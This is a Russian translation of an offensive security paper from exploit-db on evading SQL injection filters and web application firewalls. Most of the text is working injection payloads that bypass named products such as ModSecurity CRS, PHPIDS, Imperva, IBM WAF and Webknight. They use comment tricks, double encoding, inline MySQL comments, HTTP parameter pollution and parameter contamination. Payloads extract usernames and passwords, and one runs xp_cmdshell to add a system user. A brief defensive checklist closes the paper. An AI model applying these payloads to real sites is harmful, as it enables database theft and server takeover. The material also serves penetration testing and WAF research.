За рамками SQLi: обфускация и обход

За рамками SQLi: обфускация и обход

Здесь будут показаны продвинутые техники обхода фильтров и обфускации, многие из которых могут быть применимы к реальным CMS и WAF.


Автор: "ZeQ3uL" (Prathan Phongthiproek) and "Suphot Boonchamnan"
  Команда: CWH Underground [http://www.exploit-db.com/author/?a=1275]

Содержание

  • [0x00] - Введение
  • [0x01] – Обход фильтров (Mysql)
    • [0x01a] – Обход фильтрации функций и ключевых слов
    • [0x01b] – Обход фильтрации по регулярным выражениям
  • [0x02] – Обычные техники обхода
  • [0x03] – Продвинутые техники обхода
    • [0x03a] - HTTP Parameter Pollution: Разделяй и соединяй
    • [0x03b] - HTTP Parameter Contamination
  • [0x04] – Как защитить ваш вебсайт
  • [0x05] - Заключение
  • [0x06] - Ссылки
  • [0x07] - Благодарности

[0x00] - Введение

Добро пожаловать, читатель. То, что ты видишь – результат долгих попыток документирования продвинутых техник эксплуатации SQL-инъекций, над которыми мы работали. Здесь будут показаны продвинутые техники обхода фильтров и обфускации, многие из которых могут быть применимы к реальным CMS и WAF. Предложенные в данном документе примеры SQL-инъекций – лишь некоторые из путей обхода защиты. Существуют и другие техники, которые могут быть использованы при атаке веб-приложений, но, к сожалению, мы не можем раскрыть их здесь, поскольку они используют уязвимости «нулевого дня». Тем не менее, цель данного документа – показать, что в реальном мире ни одна система не является абсолютно защищенной. Даже если ее охраняет WAF за 300 тысяч долларов.

Документ разделен на 7 разделов, но техническая информация содержится только в разделах с 0x01 по 0x03.

В разделе 0x01 мы опишем подробности обхода фильтров, включая фильтры функций и ключевых слов. В разделе 0x02 мы предлагаем обычные техники обхода коммерческих и свободных WAF. В разделе 0x03 мы тщательно обсудим продвинутые техники обхода, которые разбиваются на два подраздела: "HTTP Parameter Contamination" и "HTTP Pollution: Разделяй и соединяй". В разделе 0x04 мы укажем решения, направленные на защиту вашего сайта. Последний, 0x05, раздел - заключение по материалу, данному в предыдущих разделах.

[0x01] - Filter Evasion (Mysql)

В этом разделе будут описаны поведения filter evasion основанные на PHP и MySQL и то, как обойти фильтрацию. Filter evasion – техника, используемая для предотвращения атак типа SQL-инъекция. Она может осуществляться путем использования фильтрации функций SQL, ключевых слов или регулярных выражений. Это означает, что filter evasion сильно зависит от того, в каком виде хранится черный список или регулярные выражения. Если черный список или регулярное выражение не покрывают всевозможные сценарии инъекций, то веб-приложение по-прежнему уязвимо к SQL-инъекциям.

[0x01a] - Обход фильтрации функций и ключевых слов

Фильтрация функций и ключевых слов оберегает веб-приложения от атак c помощью черного списка функций и ключевых слов. Если атакующий посылает код инъекции, содержащий функцию или ключевое слово из черного списка, то инъекция потерпит неудачу. Тем не менее, если атакующий имеет возможность изменить инъекцию, использовав иную функцию или ключевое слово, то черный список не сможет предотвратить атаку. Чтобы предотвращать атаки, черный список должен содержать много функций и ключевых слов. Однако, это мешает легальным пользователям посылать запросы, содержащие запретные слова. Они просто будут отфильтрованы по черному списку. Следующие сценарии показывают примеры использования фильтрации ключевых слов и функций, а также техники обхода фильтрации.

Фильтруемые ключевые слова: and, or
----------------------------------------------------------------------
код PHP-фильтра: preg_match('/(and|or)/i',
$id)
Ключевые слова and и or обычно используются как простой тест на уязвимость веб-приложения к SQL-инъекциям.
Далее показан простой обход правила с использованием && и || вместо and и or.
Отфильтрованная инъекция: 1 or 1 = 1 1 and 1 = 1
Пропущенная инъекция: 1 || 1 = 1 1 && 1 = 1
----------------------------------------------------------------------
Фильтруемые ключевые слова: and, or, union
----------------------------------------------------------------------
код PHP-фильтра:
preg_match('/(and|or|union)/i', $id)
Ключевое слово union обычно используется для создания вредоносной инструкции, чтобы выбрать из базы дополнительные данные.
Отфильтрованная инъекция: union select user, password from users
Пропущенная инъекция: 1 || (select user from users where user_id = 1) = 'admin'
** Примечание: вы должны знать имя таблицы, столбца и какие-нибудь данные из этой таблицы, иначе вам придется получить эту информацию
из таблицы information_schema.columns, используя другой оператор (например, функцию substring, чтобы получить имя таблицы посимвольно)
----------------------------------------------------------------------
Фильтруемые ключевые слова: and, or, union, where
----------------------------------------------------------------------
код PHP-фильтра:
preg_match('/(and|or|union|where)/i', $id)
Отфильтрованная инъекция: 1 || (select user from users where user_id = 1) = 'admin'
Пропущенная инъекция: 1 || (select user from users limit 1) = 'admin'
----------------------------------------------------------------------
Фильтруемые ключевые слова: and, or, union, where, limit
----------------------------------------------------------------------
код PHP-фильтра:
preg_match('/(and|or|union|where|limit)/i', $id)
Отфильтрованная инъекция: 1 || (select user from users limit 1) = 'admin'
Пропущенная инъекция: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
----------------------------------------------------------------------
Фильтруемые ключевые слова: and, or, union, where, limit, group by
----------------------------------------------------------------------
код PHP-фильтра:
preg_match('/(and|or|union|where|limit|group by)/i', $id)
Отфильтрованная инъекция: 1 || (select user from users group
by user_id having user_id = 1) = 'admin'
Пропущенная инъекция: 1 || (select
substr(gruop_concat(user_id),1,1) user from users ) = 1
----------------------------------------------------------------------
Фильтруемые ключевые слова: and, or, union, where, limit, group by, select
----------------------------------------------------------------------
код PHP-фильтра:
preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
Отфильтрованная инъекция: 1 || (select
substr(gruop_concat(user_id),1,1) user from users) = 1
Пропущенная инъекция: 1 || 1 = 1 into outfile 'result.txt'
Пропущенная инъекция: 1 || substr(user,1,1) = 'a'
----------------------------------------------------------------------
Фильтруемые ключевые слова: and, or, union, where, limit, group by,
select, '
----------------------------------------------------------------------
код PHP-фильтра:
preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
Отфильтрованная инъекция: 1 || (select
substr(gruop_concat(user_id),1,1) user from users) = 1
Пропущенная инъекция: 1 || user_id is not null
Пропущенная инъекция: 1 || substr(user,1,1) = 0x61
Пропущенная инъекция: 1 || substr(user,1,1) = unhex(61)
----------------------------------------------------------------------
Фильтруемые ключевые слова: and, or, union, where, limit, group by,
select, ', hex
----------------------------------------------------------------------
код PHP-фильтра:
preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)
Отфильтрованная инъекция: 1 || substr(user,1,1) = unhex(61)
Пропущенная инъекция: 1 || substr(user,1,1) =
lower(conv(11,10,36))
----------------------------------------------------------------------
Фильтруемые ключевые слова: and, or, union, where, limit, group by,
select, ', hex, substr
----------------------------------------------------------------------
код PHP-фильтра:
preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)
Отфильтрованная инъекция: 1 || substr(user,1,1) =
lower(conv(11,10,36))
Пропущенная инъекция: 1 || lpad(user,7,1)
----------------------------------------------------------------------
Фильтруемые ключевые слова: and, or, union, where, limit, group by,
select, ', hex, substr, white space
----------------------------------------------------------------------
код PHP-фильтра:
preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)
Отфильтрованная инъекция: 1 || lpad(user,7,1)
Пропущенная инъекция: 1%0b||%0blpad(user,7,1)
----------------------------------------------------------------------

Из приведенных выше примеров видно, что существует сразу несколько SQL-выражений, позволяющих обойти черный список, хотя он содержит довольно много функций и ключевых слов. Более того, данный черный список можно обойти огромным количеством SQL-выражений, не попавших в примеры.

Увеличение объема черного списка - не лучшая идея для защиты вашего сайта. Помните, чем больше функций и ключевых слов фильтруются, тем сайт менее удобен для пользователей.

[0x01b] – Обход фильтрации по регулярным выражениям

Фильтрация по регулярным выражениям – более совершенное решение для предотвращения SQL-инъекций, чем фильтрация функций и ключевых слов. Она использует проверку соответствия шаблонам (а не отдельным словам) для обнаружения атаки. Запросы легальных пользователей обрабатываются при этом более гибко.

Тем не менее, регулярные выражения тоже можно обойти. Следующие примеры иллюстрируют скрипты инъекций, используемые для обхода регулярных выражений в PHPIDS 0.6 (свободно распространяемой системе обнаружения вторжений для веб-приложений).

PHPIDS обычно блокирует запросы, содержащие = или ( или ', за которыми следует любая строка или целое число. Однако, это можно обойти, используя выражение, не содержащее симолов =, ( и '.

[Code]---------------------------------------------------------------
Отфильтрованная инъекция: 1 or 1 = 1
Пропущенная инъекция: 1 or 1
[End Code]-----------------------------------------------------------
[Code]---------------------------------------------------------------
Отфильтрованная инъекция: 1 union select 1, table_name from
information_schema.tables where table_name = 'users'
Отфильтрованная инъекция: 1 union select 1, table_name from
information_schema.tables where table_name between 'a' and 'z'
Отфильтрованная инъекция: 1 union select 1, table_name from
information_schema.tables where table_name between char(97) and char(122)
Пропущенная инъекция: 1 union select 1, table_name from
information_schema.tables where table_name between 0x61 and 0x7a
Пропущенная инъекция: 1 union select 1, table_name from
information_schema.tables where table_name like 0x7573657273
[End Code]-----------------------------------------------------------

[0x02] - Обычные техники обхода

В этом разделе упоминаются техники WAF. Прежде всего вам нужно узнать, что такое WAF.

Файрвол Веб-Приложений (WAF) – это программно-аппаратный комплекс, плагин сервера или фильтр, который применяет набор правил к HTTP-диалогу. Обычно эти правила покрывают распространенные атаки вроде межсайтового скриптинга (XSS) или SQL-инъекции. Адаптация правил WAF к вашим приложениям позволит обнаружить и блокировать множество атак. Однако, адаптация правил может потребовать значительных усилий и должна возобновляться после внесения изменений в приложение.

WAF часто называют «Файрволы с глубоким исследованием пакетов», так как они просматривают каждый запрос и ответ для протоколов HTTP/HTTPS/SOAP/XML-RPC. Некоторые современные WAF-системы обнаруживают атаки как по сигнатурам, так и по отклонениям в поведении.

Теперь давайте поймем, как пробиться через WAF с помощью обфускации. Все WAF можно обойти, поняв со временем их правила, или используя свое воображение!

1. Обход с помощью комментариев
SQL-комментарии позволяют нам обходить множество фильтров и WAF.
[Code]---------------------------------------------------------------
http://victim.com/news.php?id=1+un/**/ion+se/**/lect+1,2,3--
[End Code]-----------------------------------------------------------

2. Изменение регистра букв
Некоторые WAF фильтруют ключевые слова записанные только в нижнем регистре
Фильтр регулярных выражений: /union\sselect/g

[Code]---------------------------------------------------------------
http://victim.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--
[End Code]-----------------------------------------------------------


3. Замещение ключевых слов
Некоторые приложения и WAF используют preg_replace, чтобы убрать из запроса все ключевые слова SQL. Это можно легко обойти.
[Code]---------------------------------------------------------------
http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--
[End Code]-----------------------------------------------------------
В некоторых случаях ключевые слова SQL отфильтровываются и заменяются пробелами. Это можно обойти, используя "%0b".
[Code]---------------------------------------------------------------
http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--
[End Code]-----------------------------------------------------------
В случае Mod_rewrite, обход с помощью комментариев "/**/" невозможен. Так что мы используем "%0b" вместо "/**/".
Запрещено: http://victim.com/main/news/id/1/**/||/**
/lpad(first_name,7,1).html
Пропущено: http://victim.com/main/news/id/1%0b||%0blpad(first_name,7,1).html

4. Кодировка символов
Большинство CMS и WAF декодируют, а затем отфильтровывают/пропускают переданные
приложению данные.
Однако некоторые WAF декодируют данные лишь единожды, так что двойное кодирование
может обойти определенные фильтры:
WAF декодирует данные один раз перед фильтрацией, в то время как приложение
продолжит декодирование при обработке SQL-запроса.
[Code]------------------------------------------------------------------------------
http://victim.com/news.php?id=1%252f%252a*/union%252f%252a
/select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--
[EndCode]-------------------------------------------------------------------------------
Кроме того, комбинация этих приемов позволяет обходить Citrix Netscaler:
- Удалите все пустые (NULL) слова
- Используйте кодирование запроса в некоторых местах
- Избавьтесь от символа одинарной кавычки "'"
- И развлекайтесь!
Информацию предоставил: Wendel Guglielmetti Henrique
Armorlogic Profense до версии 2.4.4 мог быть обойден URL-кодированием символа новой строки.
#Примеры из реального мира
1. NukeSentinel (Nuke Evolution)
[Nukesentinel.php
Code]------------------------------------------------------------
// Check for UNION attack
// Copyright 2004(c) Raven PHP Scripts
$blocker_row = $blocker_array[1];
if($blocker_row['activate'] > 0) {
if (stristr($nsnst_const['query_string'],'+union+') OR \
stristr($nsnst_const['query_string'],'%20union%20') OR \
stristr($nsnst_const['query_string'],'*/union/*') OR \
stristr($nsnst_const['query_string'],' union ') OR \
stristr($nsnst_const['query_string_base64'],'+union+') OR \
stristr($nsnst_const['query_string_base64'],'%20union%20') OR \
stristr($nsnst_const['query_string_base64'],'*/union/*') OR \
stristr($nsnst_const['query_string_base64'],' union ')) { //
block_ip($blocker_row);
die("BLOCK IP 1 " );
}
}
[End Code]-------------------------------------------------------------------------
Мы можем обойти их фильтрацию с помощью такого скрипта:
Запрещено: http://victim.com/php-nuke/?/**/union/**/select…..
Пропущено: http://victim.com/php-nuke/?/%2A%2A/union/%2A%2A/select…
Пропущено: http://victim.com/php-nuke/?%2f**%2funion%2f**%2fselect…
2. Mod Security CRS (Предоставил: Johannes Dahse)

[SecRule]--------------------------------------------------------------------------
SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* "\bunion\b.{1,100}?
\bselect\b" \ "phase2,rev:'2.2.1',capture,t:none,
t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,
t:compressWhiteSpace,ctl:auditLogParts=+E,block,
msg:'SQL Injection
Attack',id:'959047',tag:'WEB_ATTACK
/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',
tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%
{TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}',
setvar:tx.sql_injection_score=+%
{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},
setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}"
[End Rule]-------------------------------------------------------------------------
Следующий код позволяет обойти их фильтр:
[Code]------------------------------------------------------------------------------
http://victim.com/news.php?id=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo
%0D%0A1%2C2%2Ccurrent_user
[End Code]--------------------------------------------------------------------------
Эта атака позволяет обойти правило фильтрации Mod Security. Давайте посмотрим, что происходит!
MySQL Server поддерживает 3 вида комментариев:
- От символа "#" до конца строки
- От последовательности "--" до конца строки
- Си-подобный: между "/*" и "*/".
Такой синтаксис (си-подобный) позволяет комментарию растягиваться на несколько
строк, так как открывающая и закрывающая последовательности
не обязаны лежать в одной строке. В следующем примере мы использовали
последовательность "%0D%0A" в качестве символов новой строки.
Давайте рассмотрим первый запрос (выявляющий имя пользователя БД). Результирующий (декодированный) SQL-код выглядит примерно так:
0 div 1 union#foo*/*/bar
select#foo
1,2,current_user
А в итоге (учитывая комментарии) MySQL DB выполняет такой код:
0 div 1 union select 1,2,current_user

5. Переполнение буфера.
WAF, написанный на языке Си, потенциально уязвим к переполнению и может вести себя
нетипично при больших объемах передаваемых данных.
Передача большого объема данных позволяет нашему коду выполниться.
[Code]------------------------------------------------------------------------------
http://victim.com/news.php?id=1+and+(select 1)=(select
0x414141414141441414141414114141414141414141414141414141
414141414141….)+union+select+1,2,version(),database(),user(),6,7,8,9,10--
[End Code]--------------------------------------------------------------------------

6. Встроенные комментарии (Только Mysql)
Согласно справочному руководству по MySQL 5.0, MySQL Server поддерживает некоторые
особые варианты Cи-подобных комментариев.
Использование комментария следующего вида позволяет писать переносимый код,
включающий расширения, специфичные для MySQL:
/*! Код, специфичный для MySQL */
MySQL Server разберет и выполнит код, заключенный в такой комментарий, как любое
другое SQL-выражение, но остальные SQL-серверы его проигнорируют.
Множество WAF фильтрует ключевые слова SQL примерно так: /union\sselect\ig Мы можем
обойти этот фильтр, используя встроенные комментарии.
[Code]------------------------------------------------------------------------------
http://victim.com/news.php?id=1/*!UnIoN*/SeLecT+1,2,3--
[End Code]--------------------------------------------------------------------------
Встроенные комментарии могут быть использованы в любом месте SQL выражения.
Так что, если table_name или information_schema фильтруются, мы можем использовать
больше встроенных комментариев.
[Code]------------------------------------------------------------------------------
http://victim.com/news.php?id=/*!UnIoN*/+/*!SeLecT*
/+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables
/*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()--
[End Code]--------------------------------------------------------------------------
В недавнем тесте на проникновение мы смогли обойти Mod Security CRS и PentaSecurity-
WAPPLE, используя эту технику. Подробнее смотри ниже:
################################################################################
Производитель: Penta Security System
Продукт: Wapple Web Application Firewall
Патч выпущен: 2011-10-02 (In SQL Injection Custom Policy Mode)
Дата релиза: 2011-10-04
Информацию предоставили: Prathan Phongthiproek and Suphot Boonchamnan

Эти скрипты могут [обойти] все правила фильтрации SQL-инъекций:
1 ||1=1
1 /*!order by*/ 3
1 /*!union select*/ 1,table_name from /*!information_schema.tables*/
1 /*!union select*/ 1,column_name from /*!information_schema.columns where table_name = 0x7573657273*/
1 /*!union select*/ /*!user,password*/ from /*!users*/
#####################################################################################

[0x03] – Продвинутые техники обхода

В этом разделе мы предлагаем 2 техники: "HTTP Pollution: Разделяй и соединяй" и "HTTP Parameter Contamination". Эти техники позволяют обходить множество открытых и коммерческих WAF.

[0x03a] - HTTP Parameter Pollution1: Разделяй и соединяй

HTTP Pollution – это новый класс уязвимостей к инъекции, описанный Luca Carettoni и Stefano Di Paola. HPP - очень простой но эффективный прием взлома. HPP атаки можно определить как возможность замещения или добавления GET/POST параметров через инъекцию в строке запроса.

Пример HPP: "http://victim.com/search.aspx?par1=val1&par1=val2"

Обработка HTTP параметров: (пример)

Веб-серверИнтерпретация параметровПример
ASP.NET/IISСклеивание через запятуюpar1=val1,val2
ASP/IISСклеивание через запятуюpar1=val1,val2
PHP/ApacheРезультат – последнее значениеpar1=val2
JSP/TomcatРезультат – первое значениеpar1=val1
Perl/ApacheРезультат – первое значениеpar1=val1
DBManСклеивание через две тильдыpar1=val1~~val2

Что случится с WAF, которые разбирают строку запроса перед применением фильтров? (HPP может использоваться даже для обхода WAF). Некоторые бестолковые WAF могут анализировать и проверять только одно вхождение параметра (первое или последнее). Всякий раз, когда соответствующая среда склеивает множественные вхождения параметра (ASP, ASP.NET, DBMan,…), атакующий может разделить вредоносный код.

В недавнем тесте на проникновение (опять) нам удалось обойти Imperva SecureSphere используя "HPP+встроенный комментарий" в среде ASP/ASP.NET. С помощью этого приема можно обходить и коммерческие WAF. Более подробная информация указана ниже:

#Примеры из реального мира:
1. Mod Security CRS (Предоставил: Lavakumar Kuppan)
The following request matches against the ModSecurity CRS as a SQL Injection attack and is blocked.
Следующий запрос ModSecurity CRS считает атакой типа SQL-инъекция, и потому
блокирует.
Запрещено: http://victim.com/search.aspx?q=select name,password from users
Когда тот же код разделяется на несколько параметров с одинаковыми именами,
ModSecurity его не блокирует.
Пропущено: http://victim.com/search.aspx?q=select name&q=password from users
Посмотрим, что происходит. Вот интерпретация ModSecurity:
q=select name
q=password from users
А вот интерпретация ASP/ASP.NET:
q=select name,password from users
*Замечание: подобную атаку можно провести и с POST-переменными.

2. Коммерческие WAF
Запрещено: http://victim.com/search.aspx?q=select name,password from users
Теперь используем HPP+встроенный комментарий для обхода.
Пропущено: http://victim.com/search.aspx?q=select/*&q=*/name&
amp;q=password/*&q=*/from/*&q=*/users
Проанализируем. Вот интерпретация WAF:
q=select/*
q=*/name
q=password/*
q=*/from/*
q=*/users
Вот интерпретация ASP/ASP.NET:
q=select/*,*/name,password/*,*/from/*,*/users
q=select name,password from users

3. IBM Web Application Firewall (Предоставил: Wendel Guglielmetti Henrique of
Trustwave's SpiderLabs)
Запрещено: http://victim.com/news.aspx?id=1'; EXEC master..xp_cmdshell
“net user zeq3ul UrWaFisShiT /add” --
Снова используем HPP+встроенный комментарий для обхода.
Пропущено: http://victim.com/news.aspx?id=1'; /*&id=1*/ EXEC
/*&id=1*/ master..xp_cmdshell /*&id=1*/ “net user lucifer
UrWaFisShiT” /*&id=1*/ --
Проанализируем. Вот интерпретация WAF:
id=1’; /*
id=1*/ EXEC /*
id=1*/ master..xp_cmdshell /*
id=1*/ “net user zeq3ul UrWaFisShiT” /*
id=1*/ --
Вот интерпретация ASP/ASP.NET:
id=1’; /*,1*/ EXEC /*,1*/ master..xp_cmdshell /*,1*/ “net user
zeq3ul UrWaFisShiT” /*,1*/ --
id=1’; EXEC master..xp_cmdshell “net user zeq3ul
UrWaFisShiT” --

Проще всего справиться с этой атакой WAF может, запретив множественные вхождения параметра в одном HTTP-запросе. Это предотвратит все разновидности данной атаки.

Однако, такой запрет может оказаться невозможным в случаях, когда защищаемому приложению необходима возможность множественных вхождений параметров. В этом случае WAF должен интерпретировать HTTP-запрос так же, как это сделало бы приложение.

[0x03b] - HTTP Parameter Contamination

В основе HTTP Parameter Contamination (HPC) лежит инновационный подход, найденный в ходе более глубокого исследования HPP и использования странного поведения компонентов веб-серверов, веб-приложений и браузеров в результате замусоривания параметров строки запроса зарезервированными или не ожидаемыми символами.

Некоторые факты:
  • Термин «строка запроса» обычно относится к части URI, находящейся между "?" и концом URI.
  • В RFC 3986 «строка запроса» определяется как последовательность пар поле-значение.
  • Пары разделяются симолами "&" или ";"
  • RFC 2396 определяет следующие классы символов:
    • Незарезервированные: a-z, A-Z, 0-9 and _ . ! ~ * ' ()
    • Зарезервированные: ; / ? : @ & = + $ ,
    • Нецелесообразные2: { } | \ ^ [ ] `

Разные веб-сервера по-разному обрабатывают специально сформированные запросы. Можно назвать больше комбинаций серверов, движков и специальных символов, но для примера в этот раз нам хватит.

Строка запроса и ответ веб-сервера (Пример)
Строка запросаОтвет веб-сервера / GET значения
 Apache/2.2.16, PHP/5.3.3IIS6/ASP
?test[1=2 test_1=2 test[1=2
?test=% test=% test=
?test%00=1 test=1 test=1
?test=1%001 NULL test=1
?test+d=1+2 test_d=1 2 test d=1 2

Магическое влияние символа "%" на ASP/ASP.NET
Ключевые словаWAFASP/ASP.NET
sele%ct * fr%om.. sele%ct * fr%om.. select * from..
;dr%op ta%ble xxx ;dr%op ta%ble xxx ;drop table xxx
<scr%ipt> <scr%ipt> <script>
<if%rame> <if%rame> <iframe>
#Примеры из реального мира:

1. Обход правила обнаружения SQL-инекции в Mod_Security
(modsecurity_crs_41_sql_injection_attacks.conf)
[Filtered]-----------------------------------------------------------------------------
[Sun Jun 12 12:30:16 2011] [error] [client 192.168.2.102] ModSecurity:
Access denied with code 403 (phase 2). Pattern match "\\bsys\\.user_objects\\b"
at ARGS_NAMES:sys.user_objects. [file "/etc/apache2/conf.d
/crs/activated_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line
"110"] [id "959519"]
[rev "2.2.0"] [msg "Blind SQL Injection Attack"]
[data "sys.user_objects"] [severity "CRITICAL"] [tag
"WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"]
[tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"]
[tag "PCI/6.5.2"] [hostname "localhost"] [uri "/"]
[unique_id "TfT3gH8AAQEAAAPyLQQAAAAA"]
[End Code]------------------------------------------------------------------------------
Запрещено: http://localhost/?xp_cmdshell
Пропущено: http://localhost/?xp[cmdshell

2. Обход правила URLScan 3.1 DenyQueryStringSequences
Запрещено: http://localhost/test.asp?file=../bla.txt
Пропущено: http://localhost/test.asp?file=.%./bla.txt

3. Обход AQTRONIX Webknight (WAF для IIS и ASP/ASP.Net)
Запрещено: http://victim.com/news.asp?id=10 and 1=0/(select top 1
table_name from information_schema.tables)
Пропущено: http://victim.com/news.asp?id=10 a%nd 1=0/(se%lect top 1
ta%ble_name fr%om info%rmation_schema.tables)

Отсюда видно, что Webknight использует фильтрацию по ключевым словам. Но мы используем "HTTP contamination", вставляя "%" в ключевые слова SQL, которые WAF пропускает. В результате он пересылает на веб-сервер следующую команду:

id=10 and 1=0/(select top 1 table_name from information_schema.tables) поскольку "%" является символом-пустышкой для ASP/ASP.Net.

Техники взлома подобного вида всегда интересны, поскольку открывают новые перспективы для исследований проблем безопасности. Множество приложений оказываются уязвимыми к подобным атакам, поскольку для причуд веб-серверов не существует строгих правил.

HPC можно использовать, чтобы расширить HPP-атаку на платформе IIS/ASP, скрывая настоящее имя параметра в строке запроса с помощью символа "%", если WAF блокирует HPP.

[0x04] – Как защитить ваш сайт

- Реализуйте жизненный цикл программного обеспечения (SDLC)
- Безопасное программирование: проверяйте все входные и выходные данные
- Проводите тест на проникновение перед открытием онлайн-доступа
- Укрепляйте его защиту!!
- Проводите повторные тесты на проникновение
- Используйте WAF (необязательно)
- Постоянно проверяйте наличие свежих патчей для WAF

[0x05] - Заключение

- WAF не оправдывает всех ожиданий
- WAF имеет функциональные ограничения и не может защитить веб-приложение ото всех возможных уязвимостей.
- Необходимо адаптировать фильтры WAF для конкретного защищаемого приложения
- WAF не устраняет уязвимость, он лишь частично экранирует вектор атаки.

[0x06] - Ссылки

[1] WAF Bypass: SQL Injection - Kyle
[2] http://cwe.mitre.org/data/definitions/98.html
[3] HTTP Parameter Contamination - Ivan Markovic NSS
[4] Split and Join - Lavakumar Kuppan
[5] HTTP Parameter Pollution - Luca Carettoni and Stefano di Paola
[6] blog.spiderlabs.com

[0x07] - Благодарности

Благодарим: ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
Особое спасибо: Exploit-db.com

----------------------------------------------------
Цель опубликования данного материала не в том, чтобы помочь продуктам безопасности, а в том, чтобы показать их слабости. Продукты безопасности не могут защитить на 100% от ошибок администратора в конфигурировании и коде. Чтобы найти брешь в защите нужны лишь время и воображение.
----------------------------------------------------
© Offensive Security 2011


1 (прим. пер.) И HTTP Parameter Pollution, и HTTP Parameter Contamination можно перевести как "Загрязнение HTTP-параметров". В первом случае суть "загрязнения" - в разбиении параметра на несколько частей и многократном повторении его имени в строке запроса. Во втором случае строка запроса загрязняется специальными символами.
2 (прим. пер.) Нецелесообразность включения данных символов в строку запроса, согласно RFC, в том, что они могут отбрасываться и изменяться шлюзами и транспортными агентами, либо использоваться в качестве разделителей.

Ваша приватность умирает красиво, но мы можем спасти её.

Присоединяйтесь к нам!